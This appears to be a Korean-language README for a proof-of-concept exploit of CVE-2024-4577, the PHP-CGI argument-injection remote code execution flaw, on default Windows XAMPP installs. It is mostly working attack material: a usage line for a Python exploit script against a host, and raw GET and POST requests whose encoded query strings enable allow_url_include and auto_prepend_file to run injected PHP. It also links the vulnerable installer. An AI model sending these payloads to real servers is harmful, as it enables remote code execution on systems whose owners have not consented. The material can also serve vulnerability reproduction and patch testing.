
[취약점 재현] 전 세계 최초로 PHP 기본 환경(XAMPP)을 이용한 CVE-2024-4577 PHP-CGI RCE 취약점 EXP.
cgi.force_redirect + REDIRECT-STATUS.allow_url_include, auto_prepend_file, auto_append_file 없이 RCE 가능. 임의 파일 및 php 파일 포함 가능.allow_url_include, auto_prepend_file, auto_append_file가 나타나지 않음.| 정보 | 내용 |
|---|---|
| 취약점 이름 | PHP RCE |
| 취약점 번호 | CVE-2024-4577 |
| 위험 등급 | 높음 |
| 취약점 유형 | RCE |
| 이용 난이도 | 낮음 |
WAF 우회 시나리오 + 기본 시나리오에 사용 가능:
python CVE-2024-4577-PHP-RCE.py PhpServerHost:PhpServerPort
예시:
python CVE-2024-4577-PHP-RCE.py 123.123.123.123:80
SSRF 시나리오 + 기본 시나리오에 사용 가능:
http://PhpServerHost:PhpServerPort/php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+-d+allow_url_include%3d1+-d+auto_prepend_file%3d"data:XCANWIN/XCANWIN;base64,PD9waHAgZGllKCJUZSIuInNUIik7Pz4g"
기본 시나리오에 사용 가능:
POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
<?php die("Te"."sT");?>
기본 시나리오에 사용 가능:
POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
REDIRECT-STATUS: XCANWIN
<?php die("Te"."sT");?>
XAMPP Windows 버전 8.2.12
https://zenlayer.dl.sourceforge.net/project/xampp/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe?viasf=1
또는 직접 아래 사이트에서 영향을 받는 버전을 선택: https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/
수정 없이 기본 설정 유지
위의 EXP를 사용하여 테스트
문자열 "TesT" 또는 서버의 system.ini 파일 내용이 반환되는지 확인